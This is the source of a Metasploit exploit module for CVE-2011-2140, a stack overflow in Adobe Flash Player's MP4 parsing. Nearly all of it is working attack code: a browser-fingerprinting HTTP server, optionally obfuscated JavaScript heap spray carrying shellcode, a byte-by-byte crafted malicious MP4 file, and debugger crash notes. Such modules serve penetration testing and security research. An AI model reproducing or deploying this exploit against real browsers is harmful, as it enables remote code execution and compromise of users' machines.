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metasploit-framework/modules/exploits/windows/browser/adobe_flash_sps.rb
Tod Beardsley e3f2610985 Msftidy run through on the easy stuff. 
Still have some hits, but that requires a little more code contortion to
fix.
2012-03-15 17:06:20 -05:00

343 lines
13 KiB
Ruby
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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info={})
super(update_info(info,
'Name' => "Adobe Flash Player MP4 SequenceParameterSetNALUnit Buffer Overflow",
'Description' => %q{
This module exploits a vulnerability found in Adobe Flash Player's Flash10u.ocx
component. When processing a MP4 file (specifically the Sequence Parameter Set),
Flash will see if pic_order_cnt_type is equal to 1, which sets the
num_ref_frames_in_pic_order_cnt_cycle field, and then blindly copies data in
offset_for_ref_frame on the stack, which allows arbitrary remote code execution
under the context of the user. Numerous reports also indicate that this
vulnerability has been exploited in the wild.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Alexander Gavrun', #RCA
'Abysssec', #PoC
'sinn3r' #Metasploit
],
'References' =>
[
[ 'CVE', '2011-2140' ],
[ 'OSVDB', '74439'],
[ 'BID', '49083' ],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-276/' ],
[ 'URL', 'http://www.kahusecurity.com/2011/cve-2011-2140-caught-in-the-wild/' ],
[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb11-21.html' ],
[ 'URL', 'http://0x1byte.blogspot.com/2011/11/analysis-of-cve-2011-2140-adobe-flash.html' ],
[ 'URL', 'http://www.abysssec.com/blog/2012/01/31/exploiting-cve-2011-2140-another-flash-player-vulnerability/' ]
],
'Payload' =>
{
'BadChars' => "\x00",
'StackAdjustment' => -3500
},
'DefaultOptions' =>
{
'ExitFunction' => "seh",
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', {} ],
[ 'IE 6 on Windows XP SP3', { 'Offset' => '0x600' } ], #0x5f4 = spot on
[ 'IE 7 on Windows XP SP3 / Vista', { 'Offset' => '0x600' } ]
],
'Privileged' => false,
'DisclosureDate' => "Aug 9 2011",
'DefaultTarget' => 0))
register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
], self.class)
end
def get_target(agent)
#If the user is already specified by the user, we'll just use that
return target if target.name != 'Automatic'
if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
return targets[1]
elsif agent =~ /MSIE 7/
return targets[2]
else
return nil
end
end
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
my_target = get_target(agent)
# Avoid the attack if the victim doesn't have the same setup we're targeting
if my_target.nil?
print_error("#{cli.peerhost}:#{cli.peerport} - Browser not supported: #{agent.to_s}")
send_not_found(cli)
return
end
# The SWF requests our MP4 trigger
if request.uri =~ /\.mp4$/
print_status("#{cli.peerhost}:#{cli.peerport} - Sending MP4")
send_response(cli, @mp4, {'Content-Type'=>'video/mp4'})
return
end
# The SWF request itself
if request.uri =~ /\.swf$/
print_status("#{cli.peerhost}:#{cli.peerport} - Sending SWF")
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash'})
return
end
# Redirect to a trailing slash so relative paths work properly
if resource_uri != "/" and not request.uri.index("#{resource_uri}/")
uri = resource_uri + "/"
send_redirect(cli, uri)
return
end
# Set payload depending on target
p = payload.encoded
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
js = <<-JS
var heap_obj = new heapLib.ie(0x20000);
var code = unescape("#{js_code}");
var nops = unescape("#{js_nops}");
while (nops.length < 0x80000) nops += nops;
var offset = nops.substring(0, #{my_target['Offset']});
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x7ffc0-6)/2);
heap_obj.gc();
for (var i=1; i < 0x300; i++) {
heap_obj.alloc(block);
}
JS
js = heaplib(js, {:noobfu => true})
if datastore['OBFUSCATE']
js = ::Rex::Exploitation::JSObfu.new(js)
js.obfuscate
end
myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST']
swf_uri = Rex::Text.rand_text_alphanumeric(rand(8)+4) + ".swf"
html = %Q|
<html>
<head>
<script>
#{js}
</script>
</head>
<body>
<object width="1" height="1" type="application/x-shockwave-flash" data="#{swf_uri}">
<param name="movie" value="#{swf_uri}">
</object>
</body>
</html>
|
html = html.gsub(/^\t\t/, '')
print_status("Sending html to #{cli.peerhost}:#{cli.peerport}...")
send_response(cli, html, {'Content-Type'=>'text/html'})
end
def exploit
@mp4 = create_mp4
@swf = create_swf
super
end
def create_swf
path = ::File.join( Msf::Config.install_root, "data", "exploits", "mp4player.swf" )
fd = ::File.open( path, "rb" )
swf = fd.read(fd.stat.size)
fd.close
return swf
end
def create_mp4
ftypAtom = "\x00\x00\x00\x20" #Size
ftypAtom << "ftypisom"
ftypAtom << "\x00\x00\x02\x00"
ftypAtom << "isomiso2avc1mp41"
mdatAtom = "\x00\x00\x00\x10" #Size
mdatAtom << "mdat"
mdatAtom << "\x00\x00\x02\x8B\x06\x05\xFF\xFF"
moovAtom1 = "\x00\x00\x08\x83" #Size
moovAtom1 << "moov" #Move header box header
moovAtom1 << "\x00\x00\x00"
moovAtom1 << "lmvhd" # Type
moovAtom1 << "\x00\x00\x00\x00" # Version/Flags
moovAtom1 << "\x7C\x25\xB0\x80\x7C\x25\xB0\x80" # Creation time
moovAtom1 << "\x00\x00\x03\xE8" # Time scale
moovAtom1 << "\x00\x00\x2F\x80" # Duration
moovAtom1 << "\x00\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
moovAtom1 << "\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00"
moovAtom1 << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x02\xFA"
moovAtom1 << "trak" # Track box header
moovAtom1 << "\x00\x00\x00\x5C"
moovAtom1 << "tkhd"
moovAtom1 << "\x00\x00\x00\x0F"
moovAtom1 << "\x7C\x25\xB0\x80\x7C\x25\xB0\x80" # Creation time
moovAtom1 << "\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x2E\xE0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
moovAtom1 << "\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
moovAtom1 << "\x00\x00\x00\x00\x40\x00\x00\x00\x01\x42\x00\x00\x01\x42\x00\x00\x00\x00\x02"
moovAtom1 << "rmdia"
moovAtom1 << "\x00\x00\x00\x20" # Size
moovAtom1 << "mdhd" # Media header box
moovAtom1 << "\x00\x00\x00\x00" # Version/Flags
moovAtom1 << "\x7C\x25\xB0\x80\x7C\x25\xB0\x80" # Creation time
moovAtom1 << "\x00\x00\x00\x01" # Time scale
moovAtom1 << "\x00\x00\x00\x0C" # Duration
moovAtom1 << "\x55\xC4\x00\x00"
moovAtom1 << "\x00\x00\x00\x2D" # Size
moovAtom1 << "hdlr" # Handler Reference header
moovAtom1 << "\x00\x00\x00\x00\x00\x00\x00\x00"
moovAtom1 << "vide" # Handler type
moovAtom1 << "\x00\x00\x00\x00\x00"
moovAtom1 << "\x00\x00\x00\x00\x00\x00\x00"
moovAtom1 << "VideoHandler" # Handler name
moovAtom1 << "\x00\x00\x00\x02\x1D"
moovAtom1 << "minf"
moovAtom1 << "\x00\x00\x00\x14"
moovAtom1 << "vmhd"
moovAtom1 << "\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x24"
moovAtom1 << "dinf" # Data information box header
moovAtom1 << "\x00\x00\x00\x1c"
moovAtom1 << "dref" # Data reference box
moovAtom1 << "\x00\x00\x00\x00\x00\x00\x00\x01"
moovAtom1 << "\x00\x00\x00\x0C" # Size
moovAtom1 << "url " # Data entry URL box
moovAtom1 << "\x00\x00\x00\x01" # Location / version / flags
moovAtom1 << "\x00\x00\x09\xDD" # Size
moovAtom1 << "stbl"
moovAtom1 << "\x00\x00\x08\x99"
moovAtom1 << "stsd"
moovAtom1 << "\x00\x00\x00\x00\x00\x00\x00\x01"
moovAtom1 << "\x00\x00\x08\x89" # Size
moovAtom1 << "avc1"
moovAtom1 << "\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
moovAtom1 << "\x01\x42" # Width
moovAtom1 << "\x01\x42" # Height
moovAtom1 << "\x00\x48\x00\x00\x00\x48\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
moovAtom1 << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
moovAtom1 << "\x18" # Depth
moovAtom1 << "\xFF\xFF"
moovAtom1 << "\x00\x00\x08\x33" # Size
moovAtom1 << "avcC"
moovAtom1 << "\x01" # Config version
moovAtom1 << "\x64" # Avc profile indication
moovAtom1 << "\x00" # Compatibility
moovAtom1 << "\x15" # Avc level indication
moovAtom1 << "\xFF\xE1"
# Although the fields have different values, they all become 0x0c0c0c0c
# in memory.
cycle = "\x00\x00\x00"
cycle << "\x30\x30\x30\x30" #6th
cycle << "\x00\x00\x00"
cycle << "\x18\x18\x18\x18" #7th
cycle << "\x00\x00\x00"
cycle << "\x0c\x0c\x0c\x0c" #8th
cycle << "\x00\x00\x00"
cycle << "\x06\x06\x06\x06" #1st
cycle << "\x00\x00\x00"
cycle << "\x03\x03\x03\x03"
cycle << "\x00\x00\x00\x01\x81\x81\x81\x80\x00\x00\x00"
cycle << "\xc0\xc0\xc0\xc0" # 4th
cycle << "\x00\x00\x00"
cycle << "\x60\x60\x60\x60"
spsunit = "\x08\x1A\x67\x70\x34\x32\x74\x70\x00\x00\xAF\x88\x88\x84\x00\x00\x03\x00\x04\x00\x00\x03\x00\x3F\xFF\xFF\xFF\xFF\xFF"
spsunit << "\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
spsunit << "\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFC"
spsunit << cycle * 35
spsunit << "\x00\x00\x00\x30\x30\x03\x03\x03\x03\x00\x00\x00\xB2\x2C"
moovAtom2 = "\x00\x00\x00\x18"
moovAtom2 << "stts"
moovAtom2 << "\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x0C\x00\x00\x00\x01"
moovAtom2 << "\x00\x00\x00\x14"
moovAtom2 << "stss"
moovAtom2 << "\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00"
moovAtom2 << "pctts"
moovAtom2 << "\x00\x00\x00\x00\x00\x00"
moovAtom2 << "\x00\x0C\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00"
moovAtom2 << "\x01\x00\x00\x00\x03\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x05\x00\x00\x00\x01\x00\x00\x00\x02"
moovAtom2 << "\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x01\x00"
moovAtom2 << "\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x02"
moovAtom2 << "\x00\x00\x00\x1C"
moovAtom2 << "stsc"
moovAtom2 << "\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01"
moovAtom2 << "\x00\x00\x00\x44"
moovAtom2 << "stsz"
moovAtom2 << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
moovAtom2 << "\x0C\x00\x00\x2F\x8D\x00\x00\x0C\xFE\x00\x00\x04\x42\x00\x00\x0B\x20\x00\x00\x04\x58\x00\x00\x07\x19\x00\x00\x07"
moovAtom2 << "\x63\x00\x00\x02\xD6\x00\x00\x03\xC1\x00\x00\x0A\xDF\x00\x00\x04\x9B\x00\x00\x09\x39"
moovAtom2 << "\x00\x00\x00\x40"
moovAtom2 << "stco"
moovAtom2 << "\x00\x00\x00\x00\x00\x00\x00\x0C\x00\x00\x00\x30\x00\x00\x2F\xBD\x00\x00\x3D\x8A\x00\x00\x48\x19\x00\x00\x5A\xF4"
moovAtom2 << "\x00\x00\x66\x1F\x00\x00\x73\xEA\x00\x00\x82\x32\x00\x00\x8A\xFA\x00\x00\x95\x51\x00\x00\xA7\x16\x00\x00\xB1\xE5"
moovAtom = moovAtom1 + spsunit + moovAtom2
m = ftypAtom + mdatAtom + moovAtom
return m
end
end
=begin
C:\WINDOWS\system32\Macromed\Flash\Flash10u.ocx
Flash10u+0x5b4e8:
Missing image name, possible paged-out or corrupt data.
1f06b4e8 8901 mov dword ptr [ecx],eax ds:0023:020c0000=00905a4d
0:008> !exchain
020bfdfc: <Unloaded_ud.drv>+c0c0c0b (0c0c0c0c)
ECX points to 0x0c0c0c0c at the time of the crash:
0:008> r
eax=00000000 ebx=00000000 ecx=0c0c0c0c edx=7c9032bc esi=00000000 edi=00000000
eip=0c0c0c0c esp=020befa8 ebp=020befc8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00050246
<Unloaded_ud.drv>+0xc0c0c0b:
0c0c0c0c ?? ???
Example of SWF player URI:
http://www.jeroenwijering.com/embed/mediaplayer.swf
To-do:
IE 8 target
=end
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